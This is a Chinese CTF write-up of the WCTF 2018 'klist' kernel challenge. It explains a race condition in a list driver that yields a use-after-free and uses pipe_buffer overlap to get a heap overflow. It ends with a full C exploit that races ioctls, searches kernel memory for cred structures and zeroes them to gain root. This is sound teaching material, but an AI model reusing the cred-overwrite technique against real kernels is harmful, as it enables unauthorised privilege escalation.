linux kernel pwn学习之条件竞争(一)

161 篇文章 9 订阅
161 篇文章 9 订阅

Linux kernel条件竞争

条件竞争发生在多线程多进程中,往往是因为没有对全局数据、函数进行加锁,导致多进程同时访问修改,使得数据与理想的不一致而引发漏洞。本节,我们从wctf2018-klist这题来分析一下条件竞争制造UAF的利用。

wctf2018-klist

首先,查看一下启动脚本,发现开启了smep机制,说明内核不能直接执行用户空间的代码

  1. qemu-system-x86_64 \  
  2. -enable-kvm -cpu kvm64,+smep   
  3. -kernel ./bzImage \  
  4. -append "console=ttyS0 root=/dev/ram rw oops=panic panic=1 quiet kaslr" \  
  5. -initrd ./rootfs.cpio -nographic -m 2G \  
  6. -smp cores=2,threads=2,sockets=1 -monitor /dev/null \  
  7. -nographic  

然后,我们用IDA分析一下list.ko文件,open的时候,初始化了一个缓冲区,然后初始化了一个互斥锁

Read的时候,是从缓冲区里记录的节点里读取数据,每一步操作,都在互斥锁内部,说明这里执行时,其他线程会被排斥到外,直到当前线程执行完解锁。

Write的时候,同理,向缓冲区记录的节点里写数据

ioctl定义了增删改查的操作

Select_item函数的作用就是选择指定位置的节点记录到缓冲区里,这样才能对其进行read/write操作。全程都有互斥锁的保护。

创建节点,会把节点的used字段设置为1

Remove节点,全程没有显式的调用kfree函数,我们注意到put函数

Put函数里,对节点的used域做了原子减法减去1,如果结果为0,就会释放这个节点

配套的get函数,对节点的used域做了原子加法加1

所以,我们发现,remove_item里,都是用的put来释放节点,因为节点创建时,used=1,减去1就是0,就被释放了。我们发现,除了remove_item函数里,是put单独使用,其他函数里都是getput配套使用。

比如这个select_item函数里,就是配套使用,由于都在互斥锁里,所以最后执行完毕,used的值不会变。照着这个思想,我们来看一下list_head函数,漏洞就在这里,put操作没有在锁内,并且是put(g_list),g_list就是整个链表的头节点

我们再回过头来看看创建节点时,采用的是头插法

并且,新节点的used域为1,假如,在list_head函数的get操作之后,put操作之前,另一个线程正好创建了一个新节点,把g_list赋值为了这个新节点,接下来put操作,将g_listused减去1后发现为0,就会释放这个节点,然后却没有把g_list指向下一个节点,这就造成了堆的UAF。

内核堆的UAF很容易利用,一种方法是将tty_struct申请到这里,伪造ops指针,然后本题我们不能使用tty_struct,因为,我们没有权限打开/dev/ptmx设备,看看init脚本里设置了啥

  1. ...  
  2. chown root:tty /dev/console  
  3. chown root:tty /dev/ptmx  
  4. chown root:tty /dev/tty  
  5. ...  

那么,我们在用第二种方法,之前,我们分析到,这个链表节点的结构是这样的

  1. struct list_node {  
  2.    int64_t used;  
  3.    size_t size;  
  4.    list_node *next;  
  5.    char buf[XX];  
  6. }  

我们如果能控制size域,将它赋值很大,那么,我们就能溢出堆,搜索内存里的cred结构,然后改写它,进而提权。然而,我们UAF只能控制buf数据区。有一个巧妙的方法就是利用pipe管道。在pipe创建管道的时候,会申请这样一个结构

  1. struct pipe_buffer {  
  2.     struct page *page;  
  3.     unsigned int offset, len;  
  4.     const struct pipe_buf_operations *ops;  
  5.     unsigned int flags;  
  6.     unsigned long private;  
  7. };  

其中,page是pipe存放数据的缓冲区,offset和len是数据的偏移和长度。比如,一开始,offset和len都是0,当我们write(pfd[1],buf,0x100);的时候,offset = 0,len = 0x100。然而,我们注意到,offsetlen都是4字节数据,如果把它们拼在一起,凑成8字节,就是

0x10000000000,如果能够list_nodesize域对应起来,我们就能溢出堆了。

因此,我们一开始申请一个与pipe_buffer大小一样的堆,然后利用竞争释放后,创建一个管道,pipe_buffer就会申请到这里,接下来再write(pfd[1],buf,0x100),就能使得size域变得很大,那么我们就能溢出堆,进行内存搜索了。

我们的exploit.c程序

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>

//pipe_buffer的大小,阅读源码可知
#define PIPE_BUFFER_SIZE 0x280

//驱动的fd
int fd;
//打开驱动
void initFD() {
   fd = open("/dev/klist",O_RDWR);
   if (fd < 0) {
      printf("[-]open file error!!\n");
      exit(-1);
   }
}

//创建节点时,需要发送的数据
struct Data {
   size_t size;
   char *buf;
};

void addItem(char *buf,size_t size) {
   struct Data data;
   data.size = size;
   data.buf = buf;
   ioctl(fd,0x1337,&data);
}

void removeItem(int64_t index) {
   ioctl(fd,0x1339,index);
}

void selectItem(int64_t index) {
   ioctl(fd,0x1338,index);
}

void listHead(char *buf) {
   ioctl(fd,0x133A,buf);
}

void listRead(void *buf,size_t size) {
   read(fd,buf,size);
}

void listWrite(void *buf,size_t size) {
   write(fd,buf,size);
}
//检查是否root成功
void checkWin(int i) {
   while (1) {
      sleep(1);
      if (getuid() == 0) {
         printf("Rooted in subprocess [%d]\n",i);
         system("cat flag"); //我们很难getshell
         exit(0);
      }
   }
}
#define BUF_SIZE PIPE_BUFFER_SIZE
#define UID 1000
char buf[BUF_SIZE];
char buf2[BUF_SIZE];
char bufA[BUF_SIZE];
char bufB[BUF_SIZE];

void fillBuf() {
   memset(bufA,'a',BUF_SIZE);
   memset(bufB,'b',BUF_SIZE);
}
int main() {
   initFD();
   fillBuf();
   addItem(bufA,BUF_SIZE-24);
   selectItem(0);
   int pid = fork();
   if (pid < 0) {
      printf("[-]fork error!!\n");
      exit(-1);
   } else if (pid == 0) {
      //开这么多子进程程,是为了增加cred结构被分配到堆下方内存的成功率
      for (int i=0;i<200;i++) {
         if (fork() == 0) {
            checkWin(i+1);
         }
      }
      while (1) {
         //与主线程的listHead竞争
         addItem(bufA,BUF_SIZE-24);
         selectItem(0);
         removeItem(0);
         addItem(bufB,BUF_SIZE-24);
         listRead(buf2,BUF_SIZE-24);
         if (buf2[0] != 'a') {
            printf("race compete in child process!!\n");
            break;
         }
         removeItem(0);
      }
      sleep(1);
      //到这里,条件竞争成功
      removeItem(0); //把空间腾出来
      int pfd[2];
      pipe(pfd); //管道的pipe_buffer将会申请到我们能够UAF控制的空间里
      write(pfd[1],bufB,BUF_SIZE);
      size_t memLen = 0x1000000;
      uint32_t *data = (uint32_t *)calloc(1,memLen);
      listRead(data,memLen);
      int count = 0;
      size_t maxLen = 0;
      for (int i=0;i<memLen/4;i++) {
         if (data[i] == UID && data[i+1] == UID && data[i+7] == UID) {
            memset(data+i,0,28);
            maxLen = i;
            printf("[+]found cred!!\n");
            if (count ++ > 2) {
               break;
            }
         }
      }
      listWrite(data,maxLen * 4);
      checkWin(0);
      /*size_t *d = (size_t *)data;
      for (int i=0;i<0x100000 / 8;i++) {
         printf("0x%lx ",d[i]);
      }*/

   } else { //主线程
      while (1) {
         listHead(buf);
         listRead(buf,BUF_SIZE-24);
         if(buf[0] != 'a')
            break;
      }
   }
   return 0;
}

 

  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值